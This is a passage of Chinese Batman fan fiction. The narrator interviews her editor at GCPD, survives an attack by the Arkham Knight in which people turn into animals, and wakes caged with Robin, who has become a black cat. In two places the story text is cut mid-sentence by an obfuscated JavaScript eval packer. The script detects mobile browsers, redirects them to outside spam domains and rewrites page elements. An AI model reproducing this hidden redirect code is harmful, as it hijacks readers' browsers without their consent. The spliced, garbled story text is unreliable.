想了想,小孩又补充,“不过他的确在你这里投入了过多关注。” 我的脸也没有方才那么热了,便换了个姿势,双手撑在长凳上看他,少年在我的注视里微微绷着肩膀,却没有第一时间再呛我两句。 比起狼崽,这孩子更像猫,对视在他眼里好似一种战斗讯号。 “他不脆弱不代表他不会难过,”我于是转过头,顺便拉开高领的拉链,“就像你——小孩子不要什么事情都自己抗着,被狗咬了一口你得拿根棍子狠狠抽回去,而不是让他们继续吠叫产生噪音。” 一提到自己的事,原本还渐渐放松下来的小孩眼神再度凌厉起来:“那只是群报团取暖的失败者,我不屑与他们计较。” 若是我高中有他一半的自信,估计也不会被针对得那么惨。 “嗯哼,但是他们下周一要当着全年级念检讨噢,”我说着露出一点笑,“看着别人恨你恨得牙痒痒还拿你没办法,你也觉得不好吗?” 身旁人又开始不说话装高手。 我懒得再管小朋友的内心活动,高举起手朝街对面挥了挥,信号灯下的男人显然也注意到了我,迈开腿大步朝这里走来,手里一左一右拿着两只圆筒冰淇淋。 该是小孩保持默然的时候他又发话了:“你笑得好恶心。” 白眼一翻,我站起身朝男友走去,学着小屁孩那副故作老成的口吻夸张道:“没错,因为那支巧克力脆脆双球冰淇淋看起来超级好吃,而拿着它的你爸现在简直就是我心目中的英雄——满意了?” 伴着身后传来的轻嗤,我笑意盈盈地攀上布鲁斯的胳膊,男友对这样的亲昵非常受用,因此放在冰淇淋上的注意力被分走了两分,我等的自然就是这个机会,立刻毫不犹豫一口咬掉了半个雪糕球。 呃呃呃……好吃!但是好冰! 口腔冻得一激灵,我双手掩唇蹦跶好几步,正对上男友无奈又好笑的视线:“你答应过我只吃一小口。” “而你甚至让她得逞了。”接话的小孩一把拿过自己的那一份,没给老爸留半点面子,转身就往店门内走去。 我好不容易把嘴里甜苦交织的奶味咽下去,感觉呼出来的空气都是凉嗖嗖的,男友也没急着进去,反而先是开口问我:“你和达米安看起来关系缓和了不少,聊了些什么?” 一想到那小孩的虎狼之词,我才降温的脑袋又有了自动加热的趋势,急忙扯过他的衣袖往里走:“……你真的是个超级差劲的榜样。” 也不知身旁人是怎么脑补的,语气格外受伤:“嗯……看样子是在说我坏话上达成了同盟。” 我张了张嘴,还是没有澄清这个小误会,男友很快自己调整了心情:“对了,方才我接到了警局的电话,他们让你有空去取一下手机和包……” 捕捉到他奇怪的犹豫,我用眼神询问示意。 “道尔编辑还想见你一面,我回绝了,不过那边格外坚持,”带着些许不满,男友停在一排排游戏机之间,和前方的儿子比了个稍作等待的手势,“你怎么想?” 从他不怎么赞成的目光判断,我在这时最好说声不——可我向来是个好奇心动物,实在对编辑会说什么很感兴趣。 利用对方的愧疚心,我应该可以很轻易得知她是怎么参与到绑架案里的。 思及此,我有些迫不及待地伸出手:“我当然要去,你手机借我回个电话,我现在就过去。” 男友对我的反应有所预料,但脸色还是瞬间难看起来:“现在?不行,我待会可以送你去警局,晚餐我也定好了——” “我对你们的游戏又没什么兴趣,在这我也是坐着画画,”没给他继续反对的机会,我凑上去用脸颊贴了贴男友的鬓角,顺手抽走他放在上衣口袋的手机,“你和儿子先玩着,我很快就回来,好吗?” 我的随口安慰似乎正好戳中了对方的软肋,男友硬邦邦的肌肉软和下来,我又推了他一把,把男人往自家孩子那赶,“去去,小孩嘴上不说,心里还是很期待亲子时光的。” 他最后轻轻叹了口气,妥协道:“开我的车去,这里距离GCPD总部也就十几分钟的路程。” 10.10 摄像头的红点常亮。 会客室内进来两人,都是女性。一位身着警官制服,多米尼加裔的五官特征十分明显,她拉开凳子让另一人落座,并递上一杯警局特供的热可可。 与她相比,另一位女性虽然身量差不多,却稍显孱弱——注意到她的人首先会被那头长而顺滑的黑发所吸引,紧接着则会看向那双笔直饱满的双腿,在内心猜测她是不是学过跳舞。 对方长着一张亚裔面庞,肤色在白炽灯的照射下却着实苍白,她礼貌地朝警官道谢,落座时脊背笔挺,也不跷二郎腿,一双黑洞似的眼睛环视周围,最终聚焦在摄像头那停下。 影像的噪点吸走了那双黑眼中的反光,制造出一种被深渊凝睇的错觉。 这让黑入警方监控的义警们有一瞬的不自在。 罗宾率先挪开目光,他和父亲正藏在GCPD楼顶的水箱背后,天色昏沉,很好地模糊了他们的影子。对小孩来说,这才是他最熟悉的亲子活动。 窃听器忠实地向他们学舌:“我不太习惯摄像头,谢谢你愿意和我换位置,警官。” 恰如其分的温和,哪怕背对着镜头,依然可以想象到女人脸上的神情会与她的音色一样柔软——起码在她对面坐下的蒙托亚警官不再紧绷着脸,被感染了一丝笑意。 两人都不是爱废话的类型,简单的交流后,警探给绑架案的受害者坐起了笔录。蝙蝠侠的眉头又蹙了起来,看来比起他这个爱操心的男友,当事人反而不避讳在警方面前谈起案情细节——他用布鲁斯的身份和他们打过招呼的。 不过,更有可能是蒙托亚老毛病又犯了,以前她为了案件细节也会对局长的部分命令阳奉阴违。 “格雷森刚刚发过来的面容对比,就是她画的侧写是吗?” 会客室的记录还在继续,罗宾忽地开口发问,引来父亲一眼,“人像基本和电脑演算的结果吻合,我们应该撬开杰森·陶德的坟墓看看,我知道有很多恶毒的巫术都能令人死而复生。” 回答他的只有蝙蝠侠披风被吹起的簌簌声。 少年能感觉到面具底下的人在想什么,七年过去,陈列在蝙蝠洞的罗宾制服依旧保持着破损的模样,一如洞穴主人生疮流脓的内心。蝙蝠侠还是盯着掌上电脑: “简单地操纵一具尸体并不会让他有机会长大……不到万不得已,我不想打扰他的安眠。” 这似乎是义警最为感性化的表达了,因为他很快继续道,“我们需要对方的声音样本和DNA,昨夜酒吧的监控被人提前破坏了,他只通过她向我传递信息,明显是为了动摇我的情绪。” “对方对你的双重身份了若指掌,也许我今晚应该见一见母亲,她的拉萨路池也是最有可能的选择之一。” 虽然不赞同父亲对于曾经养子的逃避之举,不过罗宾大致明白他为什么迟迟不愿动那具和自己父母葬在一处的棺木。除却已经安眠的灵魂不该被惊扰的世俗理解外,那里埋葬着蝙蝠侠生涯中最大的失败经历。 他花了整整四个月追查在爆炸中消失的小丑和第二任罗宾,结果却等到了被洗脑和殴打折磨到疯狂的养子朝他开枪。他知道杰森不是故意的,小丑让人套上蝙蝠侠的服装去对付那个可怜的男孩,只求他看见熟悉的标志就会反射性展开攻击,义警试图拯救他,父亲相信只要儿子回到他的身边,一切伤痛终有愈合的可能性…… 然后他眼睁睁看着养子被炸死在自己面前。 每一任后继的罗宾都私自翻阅过杰森·陶德的档案,知晓他体内残破的骨头和内脏难以拼回原样,最好的入殓师也修复不了少年重度烧伤的面容。为他抬棺时动作要极轻,他的养父不愿意弄乱他梳理整齐的假发。 人在极度悲伤的时候是流不出眼泪的。 后来罗宾和父亲一同去过墓地,彼时年轻气盛的达米安还没有学会同情弱者的死亡,他无聊地观察着所谓父亲的脸色,对方面无表情,天上的雨却一直在下。 但今天只有乌云,仿佛闷着一池复杂的情绪。 蒙托亚警探的问话基本已经结束,像是感到口渴,坐在她对面的女人喝了一小口可可。这个人在全程的对话中都表现得十分平静,偶尔会感到焦虑般握紧放在桌上的双手,她微弱的不安很好地被警探接收,因此当女人询问侍者的下落时,蒙托亚犹豫了一会儿还是说了实话: “小姐,这个人的行踪成谜,也许会再次对您下手,我的建议还是减少在外闲逛的频率,或者多找两个保镖时刻守着您。” 类似限制人身自由的说辞往往容易遭到受害者的抵制,不过这次蒙托亚并没有直面怒气,对方还露出了感激之色:“谢谢您的关心,警探。我平时也就会去去图书馆,不怎么爱逛街,能把我约出来的人屈指可数……这么看来嫌疑人对我的生活习惯一定做过调查,才会找上我的编辑,她还好吗?” “罗拉·道尔干的事可以说把她推向火坑,”已经获得今夜外出许可的罗宾歪头望向蝙蝠侠,“她倒是不生气。” 影像中的警官也流露出相似的疑惑,不过她还是尽职尽责地向对讲机那头说了点什么,随后才点点头:“她不愿意多说,后来我们才知道她的女儿被前夫绑走了,对方要求她带你去了那家酒吧……” 受害者不怎么意外,连动作都没有丝毫变化:“我想也是,她见我大概率是为了确认我还安好。” 合理的猜测,但警探的拇指用力地推了推水性笔的笔帽,发出“咔哒”的脆响。 “……道尔曾经给我看过女儿的照片,”女人仿佛没注意这点,语气仍然轻缓,“那时的她眉眼间洋溢着幸福,我相信她为了孩子能做到任何事。” 包括推自己最欣赏的后辈下水。 蒙托亚不知该怎么接这话,但内心升腾起的却是类似怜惜的情绪——如此通情达理又冷静沉稳的人,她心想,或许正好能胜任为他们当前难关的突破口。 而在警探开口前,女人一转口风,打开了交叠在桌上的双手:“不过仅仅是这样的理由应该不足以让你们特意把我叫到这来,我男朋友应该和你们局长说过不要刺激受害人什么的才对。” 出乎意料的一番话瞬间定住了蒙托亚的呼吸,警探当然没想过受害人会在知道自己不用作笔录的情况下仍然选择配合她,本能的心虚令她有那么几秒失去了作答的余裕。 简直就是最好的进攻机会。 蝙蝠侠甚至能想象出女友锁定人时跃跃欲试的眼神,但她偏偏还要装得温和有理:“不要露出这样的表情……芮妮警官,我很乐意配合您的工作。” 她得寸进尺地喊了声警探的教名——百分百是才从对方胸前的警官证上看到的,义警知晓她从不记人名的小毛病,“是不是我的编辑得知什么重要信息却因为害怕而不肯告诉你们?而您觉得我的出现能令她开口?” 从这两句看似问句的事实称述开始,整场的谈话节奏便已然改变,被女人牢牢把握在自己手里。 蝙蝠侠听见身旁的小儿子轻嗤一声,语气里却含着赞赏:“蒙托亚也会有被牵着鼻子走的这一天,果然她从一开始进门就在装。” 利用警官对受害者先入为主的印象博取同情,赚得印象分,而后展示自己有一定心理素质,值得被信任,最后再将对方的弱势和目的一齐挑破,好趁机确保自己在接下来的行动中占据主导地位。 “以她的个性,不会喜欢自己旁边有陌生人指手画脚,把问话交给她更好,罗拉·道尔会对她说实话。” “您很信任她?”嗅出父亲言下藏着的笑意,少年不免记起消防通道里那次不欢而散,“……她说你们认识了八年,但我从没在大宅里见过任何证据。” 影像中的女人已经和警探达成共识,由她来负责撬开编辑的蚌壳,她们在等待从犯的间隙里随意聊着一些无关紧要的案情细节,蝙蝠侠于是把双眸从屏幕上挪开:“书房里第四排第八本的漫画书——就是你带去岛上看的那本《绒毛小姐分尸案》,主笔和编剧都是她。” 这下小鸟脸上的多米诺眼罩不受控地瞪大了,似是怎么都不相信自己在游历时揣了一路的宝贝漫画出自某个刚见面就看不对眼的女人之手。 “但里面夹的书签分明是德雷克的!” “的确,提姆和我都是第一读者,他还给初版写过十二英寸长的意见信,”回忆被勾动,蝙蝠侠眼神温和地看着儿子,“他以为那是阿福例行采购带回来的。” 难怪……他在网上没搜到出版社和作者的信息,也困惑于那本漫画为什么是手工装订的。 罗宾的情绪一时复杂起来,他们所有人都陷入了惯有思维的陷阱,认为布鲁斯·韦恩不可能会对那方面感兴趣——现在想来,为何父亲在浏览他笔记本上的漫画时能发表出非常多的专业意见,显然是被女友熏陶的。 “家里肯定还有其他别的证据……”他近乎喃喃自语。 “那就是唯一一本了,她对自己的要求很严格,近几年只给HC(Horrorics)的子公司供稿,或者私下写点剧本,”说到这个,男人的话语里也带了些可惜,“不过她这个月已经开始画新短篇了,你要是感兴趣可以自己问问。” 闻言,小孩像只被踩中尾巴的猫:“处女作优秀后继却无名的漫画家多的是,我根本就——” “嘘,罗宾,”蝙蝠侠打断了搭档的口是心非,“道尔进会客室了。” 正事当前,小鸟也只好忍住一肚子的咕咕唧唧,重新把注意力放到监控视频上。 . 任谁都能看出道尔编辑的状态并不好。 黑眼圈,虚汗,面若金纸,她甫一坐下,受害者就朝警官打了个手势再要一杯热饮。蒙托亚也没有推脱,倒完后再递到女人手里,由她轻轻放在编辑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14253252|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前。 “你昨晚看起来过得很糟糕……”在道尔怔忡的眼神里,女人坐了回去,“这让我的气消了一点。” 语气冷漠,动作却温柔,编辑女士一时迷惑于她对自己的态度,未开口便以示弱三分:“……太好了,你看起来没什么大碍。” 受害者没说话,监控只能拍到道尔逐渐局促起来的神色,仿佛面对着的不是一手从市场里淘出来的年轻后辈,而是某种怪物——她自始至终不愿意对上女人的视线,在煎熬中左顾右盼,甚至求到了倚靠门边的蒙托亚身上,警探却也保持沉默,没玩什么红白脸的扮演游戏。 “芮妮警探说你想确认我的状况,听起来很有忏悔的意味……但我想你是希望我来签据谅解书的,你有侥幸地认为我会原谅你,是不是?” 终于出声打破寂静,受害者柔柔的嗓音削弱了从犯的紧张,但意识到对方在说些什么后,道尔的鼻孔猛地长大了,她非常用力而小心地吸了口气,飞快反驳: “不!当然不!我从没这么想过!我已经、我已经……噢老天,我干出这样的事,根本没想过你会原谅我!” 道尔激烈的一番话只换来女人耸耸肩,她倾身把手肘搁在桌上,拉进了两人距离:“那你进去了,你女儿怎么办?你要还给前夫吗?” 只消一句,就堵得编辑再出不了声。 似是身体着实不适,道尔侧过头,没忍住咳嗽了两声。 “喝点水吧。”没有接着逼问,受害者重新靠回椅背。 在她的注视下,从犯于是用双手捧起了热饮,在没开空调的会客室内,这点热量舒展了道尔的眉头,让那张脸更显颓色。 “你一直都是这么一针见血……说实在的,我都没什么信心能骗过你……” “但事实上你做到了,我也不过是个普通人,”女人不怎么愿意和编辑讨论自己,轻巧地带过了这个话题,“现在准备好和我说点什么了吗?” 道尔的松动显而易见,一直观望的蒙托亚也略略放松,抽出笔记似是要记录些什么。 就在这时,监控影像稍稍花了一下屏。 没等义警们再去检查些什么,另一道内部通讯紧急插了进来,伴随着周围人的慌乱和惊呼: “GCPD车辆编号00435!蝙蝠侠挟持了我们……他点燃了嫌疑人!” 撕心裂肺的惨叫紧接着刺来。 真正的尖耳朵还在和小鸟一起听墙角,警员许是在极度的恐慌下认错了人,父子俩对视一眼,只能关闭监控先去看看情况。 最后的画面里,三位女士还好好坐在会客室内,怀着某种隐秘的担忧,蝙蝠侠抬手激活了腰带上的某个按钮。 然而他们才掏出钩锁枪,又一个警察稍显急迫的通讯在内部频道响了起来:“我们需要急救医生,临时拘留室的犯人突然倒下抽搐不止!” 两边同时出现的状况更像是一场有预谋的混乱开端,年长者立刻下达命令:“罗宾,你去拘留室看看,今天有一批犯人要被送去黑门。” 这是怕有人谋划劫狱了。 义警们分头行动,身在高空的蝙蝠侠很快锁定了楼下的火源,距离警局门前也不过几十米,简直就是赤裸裸的挑衅。男人展开披风御风而下,短短时间嫌疑人已经烧成了人形的火球,可见用了多猛的助燃剂,周围已经有警察取来灭火器喷射泡沫,火势却不减反增,烧得救助者后退连连。 他从腰带里摸出几枚小圆球,一边厉声命令几个离得近的警察赶快散开。 巨量的冷雾随着圆球落地炸了开来,火人的哀嚎逐渐虚弱,蝙蝠侠算准时机,在烟雾散去后用披风接住了倒下的伤患,警局的值班医生不止一个,此刻也拿着器械靠近,为这个浑身焦褐色的可怜嫌疑人做着检查。 “太可怜了……这家伙到底得罪了哪路恶棍……” “少说点吧,我看他下辈子都得在病床上过了……” 把现场交给医生,义警站起身,想要寻找先前呼出通讯的警察。对方在人群中很是显眼——这么多人里唯独他的眼神最为惊惧。 蝙蝠侠抓住了掉头就跑的目标,语气严肃:“纵火者长什么样?” “老兄!那、那真不是你?!”见眼前的尖耳朵怪人没有伤害自己的意思,鼻青脸肿的警察也恢复了些许理智,“……但是、但是他也穿着盔甲,还有耳朵……” 这样的描述含糊不清,像自己女友那样能精准又冷静画出侧写的毕竟也是少数,蝙蝠侠还要再问,腰带传来的振动令他的心跳有一拍暂缓。 警察只觉得本就凶神恶煞的义警此刻更像只恶鬼,对方按住耳机,语速飞快:“罗宾,我放在她身上的警报器被触发了,你处理完拘留室直接去——” 蝙蝠侠没能说完,因为身旁的总部大楼突兀爆发出一声巨响。 那是属于钢筋混凝土崩毁的声音。 11.11 碎石和烟尘惹得肺一阵干咳,耳蜗好像住着一千只吵闹的妖精那样嗡嗡个不停,等我从这阵难捱的眩晕里醒来,第一个尝到的是股铁锈味。 那来自护着我卧倒的警探,我伸手去摸了摸她的颈动脉,跳得很鲜活,女人额头上的鲜血滴进我的嘴里,不难吃也不好吃。 就是有点恶心。 我稍微费了点劲把她翻了个面,这才从角落勉强起身,粉尘味还是呛得人难受,又是一连串咳嗽从嘴里吐了出来。 不得已,我揪起一束长发捂住口鼻。 入目的会客室地板破了个大洞,但事实上,在那个庞然大物撞进来之前,墙上便已布满弹孔,全是警用格/洛/克射出的9mm子弹留下的痕迹,混乱得一如我现在的思绪。 耳鸣终于如退潮般离开耳畔,我立刻听到一阵逐渐放大的枪声和动物的嚎叫,小心翼翼地朝大洞边缘下望。 那是一头体型庞大,双足着地的北极熊。 又是一枚流弹激射入斜上方的墙体,它打着旋擦过我的头皮,带起一股麻木的冰凉。我不由把头压得更低,顺势看清了原本藏在地板下的死角。 大口径手枪的主人带着尖耳朵头盔,灵活地闪避开挥来的熊掌,接着再次开枪想要击中白色巨兽脆弱的眼睛。他没能得逞,熊类厚实的皮毛蓦地冒出一丛血花,激得动物嚎叫一声,又向全副武装的尖耳朵扑了过去。 我相信他和蝙蝠侠不会是一伙的。 毕竟几分钟前,就是这个人闯进来试图袭击我和在场其他的两位女士,而后被熊从下而上拽了下去。 见一人一熊打斗正欢,我四处逡巡着本该在附近的第三人。我的编辑是最先被攻击的对象,那时我还没能从她嘴里得到自己想要的信息,当即掀翻桌子把她藏在后面,蒙托亚警探随后也开了枪,但袭击的尖耳朵体格强健却也不失敏捷,弹匣都打空了一个,愣是连对方的衣角都没擦到。 然后这家伙揪住我挡在身前,警探投鼠忌器,没法妄动——紧接着地板就破了个洞,冲击力震得我眼前一黑,回过神来便已是先前那副景象了。 所以我的编辑去哪了? 我找到了她穿的橘黄色连体服,此刻撕裂成几瓣,就半掩在下层的碎石堆里,却不见任何人体组织或是头发丝,正纳闷着,耳边传来了相当古怪的女声,听起来仿佛喉咙里塞了只青蛙。 视线寻去,我和躲在半截桌子后面的巨型蟾类对上了眼,顿时冒出一身鸡皮疙瘩。 “————” 这只足有半人高的蟾蜍带着那副湿漉漉、黏糊糊的样子朝我靠近,嘴里还在发出那种古怪的呼噜声。 它呈现一种光滑的黑褐色,整个背部好似驮着一大块同色海绵,上面布满莲蓬似的小窝。我对这种组合有种天生的不适,强忍着头皮不断抽紧的微妙感官,试图离对方远一点。 然而伴着我朝后退步,巨蛙前进的速度也跟着加快。在乱糟糟的打斗背景音里,它沉闷又尖锐的叫声不甚明晰,压迫感却十足,这回我的感觉反了过来——应该是有个女人在它的肚子里叫唤才对。 不,从体型大小判断,巨蛙还是吞不下一整个成年人的。 一个荒谬的猜想跳出了脑海。 “……道尔编辑?” 我谨慎地松开“头发口罩”,吐出这个名字。 蟾蜍鼓胀的眼球一瞬不瞬盯着我,它在距离我只有几尺的地方停了下来,裂口似的大嘴从面中分开。我反射性举手格挡,鼻子却嗅到一股除了粉尘和硝烟外格外熟悉的气味,意识到那属于自己编辑最常喷的香水品牌。 果然,巨蛙没有舌头,也没有一口咬上我的胳膊,她露出了拟人化的微笑——不管这是不是为了安抚我的情绪,但出现在蟾蜍脸上可以说完全起到了反作用。 松了口气的同时,我立刻开口追问:“你究竟知道了什么?惹得那个百事可乐版邪恶蝙蝠侠冲进警察局也要做掉你?” 编辑蛙又是一阵咕咕呱呱的叫,我根本听不懂,干脆摸出手机打开备忘录,“打字吧,我们现在语言和物种都不通。” 趁着她在那努力用蹼对着屏幕一指禅,我再度看了看楼下,内心奇怪于为什么这么大动静都不见一个警察过来看看情况,难不成变成动物的不止楼上楼下这两个,而是范围性异变? 仿佛是为了响应我的猜测,这厢北极熊刚刚被尖耳朵打趴下,又是一阵剧烈的震动由远及近,随即各色各样的大小动物便从四面八方涌了进来。其中不乏和人类体型相近的,身上还穿着警服或是囚服,我还看到有只黑猫套着罗宾制服——不对,这该不会是真家伙吧?! 没待我定睛细看,原本还踩在熊身上气喘吁吁的尖耳朵男猛地抬起头,一手发射钩锁枪扣住我身侧地板,整个人腾空而起,避开了一只又一只伸向他的利爪。 我心如擂鼓,当即起身就往后跑,却不想头皮很快传来一阵撕扯的痛楚,背后的袭击者拽着我的长发往下一拉,趁着这几秒的停顿把我拦腰扛起,拔腿狂奔。 不是……抓我干嘛?!我连手机都没拿回来呢!!! 至于我的编辑,她还在那锲而不舍地戳着手机,我都被扛出二里路才迷茫地把头抬了起来。 饱受摧残的腹部被对方的肩甲顶得生疼,我身体素质本就堪忧,这么一颠簸更是眼冒金星,只能看见身后乌泱泱追过来的动物眼睛反光,似乎更加躁动不安。 胸口顶着“R”字的小黑猫跑在最前面,仗着身形灵活在狭窄的大楼长廊穷追不舍,狰狞的咪咪脸仿佛是要将人生吞活剐了。 见此情形,我心里最后那点挣扎的念头也熄灭了,生怕尖耳朵男一松手我就会被扑上来的动物踩成肉泥,任由对方单手箍着腰,往走廊尽头的窗户上撞去。 等一下——这人是在带着我跳楼吧?! 喉咙里憋出一丝尖叫,我在强烈的失重感中死死抠着对方背部的盔甲,大脑好像也发现人肉跳楼机对我来说太过刺激,终于水灵灵地罢工了。 我带着点心满意足昏死过去。 . 无论做什么事都是一回生,二回熟的。 被绑架也不例外。 昏迷期间的我做了一个非常喧闹的梦,仿佛成了一根被主人握在手里的逗猫棒,总有只小黑猫追在后面连啃带咬,最后主人玩腻了,便把我和猫丢回窝里,任由它用带着倒刺的舌头把我舔得口水淋漓。 这股精疲力竭延续性极强,醒来时我都觉得四肢百骸沉重无比,好不容易抬起手来一摸,触碰到的却是丛丛蓬松柔软的毛发。 我和趴在身上,亮着两颗灯泡似的绿眼珠的东西大眼瞪小眼。 噢,太好了,原来只是辆大号黑猫泰山压顶,我还以为自己睡了一觉头发长到肚子上了。 猫对自己身下这块软垫非常满意,丝毫没有离开的意思,一条粗尾巴在背后缓慢游移。我忍了大概十秒,眼前又逐渐发黑,不得不用唯一一条没被压住的胳膊推了推它: “咪咪……行行好,你的垫子要死了。” 以我对猫这种生物的了解,它们的我行我素大概率是不会把人类的请求放在眼里的——就在我快要二次休克之前,庞然大咪终于高抬贵爪,从我身上翻了下来。 肺部猛地灌入一口冰凉又发霉的空气,我不禁被呛得连连咳嗽。整个空间唯独回荡着这酷似哮喘病人发作时的痛苦声响,多少提醒了我自己现在的状态有多糟糕。 我想往常那样小心地捋顺呼吸,胸口像是被一枚冰锥刺入,泛起缓慢又绵长的疼痛。 没什么关系,我一向擅长忽视这些。 耳畔有动物热乎乎地翕动鼻翼,黑猫一开始好像被我的咳嗽吓到了,此刻两只耳朵还往后压,凑过来嗅闻的动作带着些迟疑。 我把抬手的范围控制在它视野里,主动伸过去让猫确认气息,一边放眼观察着目前身处的地方。 层高很高,没有光照,目力能视的最大范围也只有近在咫尺的铁栏杆。 不确定自己的行动是否在他人的监视中,但以我先前闹出的动静来看,只要不是聋子都能被吸引过来。想到这我便歇了左右观望的心思,把注意力放回身边的黑猫上。 它比巨蛙更大,站起来估计只比我矮上几公分,通过气味确认我依旧没什么威胁后,猫安静地与昏暗融为一体,垂下脑袋去舔自己的胳膊。 这很可能就是那只在我昏迷前穷追不舍的罗宾猫,虽然现在他身上所有东西都被扒光了,只剩一件外黑内黄的小斗篷披在肩上。 动物如果反感一个人总会比人类表现得更坦诚,我不觉得黑猫讨厌我,于是再次匀速伸手,在他低头闻过后试着碰了碰猫的下巴。 那双幽幽泛光的绿眼睛眨了一下,不做亲近也没有排斥,于是我熟练地在毛毛里挠了起来,看着猫慢慢眯起眼睛,渐渐把整颗头的重量往我手上抵。 若是普通小猫还好说,这么大个猫脑袋我可承受不住,我示意性地往上一托,随后把手收了回来。 黑猫发出不满的咕哝声,不过终是没再阻止我去碰他的其他部位。 我虚虚抬起他一直在舔的那只前爪,又凑过去闻了闻,一股夹着小猫味儿的铁锈气令我心中一紧,摸索着想要触碰罗宾猫的伤口。 不待他先一步缩回爪子,突如其来的讥讽已迫使我半转过身,把猫护在身后。 “你倒是还有闲情雅致在这摸猫。” 满室寂静被打破,来人的脚步声非常轻,只余两点鬼火似的蓝光飘到眼前。隔着铁栅栏,我大致能看清一点轮廓和身形,发现那点光是他头盔上的机械眼睛。 这不就是绑架我的百事可乐版邪恶蝙蝠侠吗。 噢,还没有披风,之前没好意思说,但我真心觉得披风这种东西是遮掩好身材的一大利器。 他的靠近立刻令我身后的黑猫警惕地哈气,扒住我的肩膀就冲了过去,随后一头撞在栅栏上,惹得对方一阵轻笑: “好好的恶魔之子……现在都当上保护弱小的英雄了,”他气定神闲地和猫保持距离,“又或者只是变成畜生,按捺不住你嗜血的本性?” 罗宾猫一击不中,又四肢着地,来回踱着步寻找机会。我尝试着想要安抚,也被他威胁性的低吼吓回了手。 “哈,看来是后者。” 我没觉得嘲笑动物的本能有什么好玩的,就像我先前说的——它们比人类坦诚,小黑猫一定是因为在那人手里吃了不少苦头才会应激成这样。 “你那是什么表情?”找完猫的茬,绑架犯又开始盯着我不放,“需要我提醒你正和一头危险的四足生物关在一起的事实吗?还是说你有信心能控制住他,就像下午驱使那么多变异动物来找我麻烦那样。” “……” 一时,我想不出除了辱骂对方精神有病外的任何说辞。 这个月我在图书馆也阅读了不少分析这类蒙面超英或超反的书籍,其中最令研究者着迷的就是他们异常的心理状态,据说那本书的作者本人还当过一段时间阿卡姆精神病院的院长(虽然后来自己也被送进去治疗了)。 读的时候我就很想去那所哥谭特产参观取材,眼下倒是有现成的素材送上门了。 见说话对象没有答复的意思,黑暗里的机械眼睛微微闪烁起来:“再怎么想拖延时间,这回也不会有老家伙英雄救美。” 这句话存了点不同的信息量。 在我思忖的几秒内,绑架犯打开了电灯开关。乍亮的光线刺痛双眼,我本就不喜强光,因生理反应流下的泪水模糊视野,只能听见黑猫嘶嘶叫着在身边窜来窜去,最后被一团热乎乎的东西紧贴后背,皮肉被他紧张伸长的尖指甲抠住。 没办法,我只得忍着痛,一手遮在眼前,另一只手撩开长发,让它们像块毯子那样把猫包起来:“嘘嘘……好咪咪,不要害怕……” 不知是不是对我的猫奴做派感到无语,一直到身后的黑猫收回指甲,我都没听见百事可乐小哥再说点什么。有了光也能看清周围布景,和我想象的差不多——这是一座封闭的地下防空洞,我和猫被关在收押猛兽的铁笼子里,我没敢去碰栅栏,毕竟还有电线从笼边蜿蜒到附近的插座上。 等我的目光重新聚焦到那只蓝黑色尖耳朵头盔上,绑架犯已从旁边拖了张凳子反坐,把双臂撑在椅背上俯视着跪在地上的我,指尖不耐烦地点着肩甲。 “我该怎么称呼你?”说着,我慢慢点了点湿润的眼角,怀疑自己的妆花了,“昨晚你也没有告诉我你的名字。” “哒哒”的轻点顿止。 后知后觉,我意识到自己的发言带了些歧义。 再解释容易越描越黑,我决定看看他的答复。由于带着头盔,对方的声音也含着机械的质感,听起来格外古怪:“你不认识我?” 紧接着,他没有要我回答的意思,自顾自道,“倒也说得通,这么多年了还是喜欢玩这种过家家酒的游戏……” 口音是很重要的认人方式,况且他也没有掩饰的意思,我很肯定自己来到哥谭的一个多月也没从哪里听过这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14268231|150647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还能兼职调酒的绑架犯——又或者他笃定蝙蝠侠会和我分享他的资料?这就更说不通了,我一共也就见过哆啦B梦两面,还都是以受害者的身份。 若是能再仔细思考片刻,我可能会有机会抓住他话语间的关联性。身处的环境毕竟不够安全,以至于在他的蓝头盔微微昂起时,我本能地投注了注意力。 “骑士。阿卡姆骑士。” 他冷淡地吐出自己的代号。 如果一个蒙着面制服花里胡哨的家伙有一个体现不出他任何穿着特点的代号,通常说明他更偏向用某种象征意义提醒自己。 我想这总不能代表他想成为所有精神病人的守护者。 “好的,骑士先生,”我从善如流地改口,提起先前他对我的控诉,“我不明白你从哪儿得出了我能控制动物的结论,还是由人变成的动物。依我看,这更像你从哪滚了一身猫薄荷,还是对大部分动物都适用的那种。” 那对机械眼睛仍旧打量着我,我猜想那头盔可能会有些辅助测谎的功能之类的,因为他相信了我的坦白:“我检查过我自己。” 似是知道我接下来想说什么,他又提前截断道,“也验过你的血。” “……那你更应该明白我只是个贫血的普通人,”我略带无奈地耸肩,右手隔着发帘轻拍着罗宾猫的后背,他缩在那一动不动,可能还在猫猫祟祟地观察,“还有什么其他证据可以证明我和这起突发事件有关?” “在我扛着你远离它们五公里后,那些动物就失去了方向在街上徘徊,”骑士一手指向在我背后只露出一个头的猫,“除了这只恶魔猫甩不掉。” 那还真是了不起。我挠了挠猫头,换来黑猫不客气地一甩耳朵。 “但恕我直言,你的参考变量太少……”依然不觉得此事真的会和自己扯上关系,我说到一半,忽然意识到什么,“你还把我昨晚和你说的故事算进去了,是吗?” 头盔里没再发出声音,大概是他自己都认为这个理由不怎么能站住脚,先前所说的一切皆是在试探我的态度。 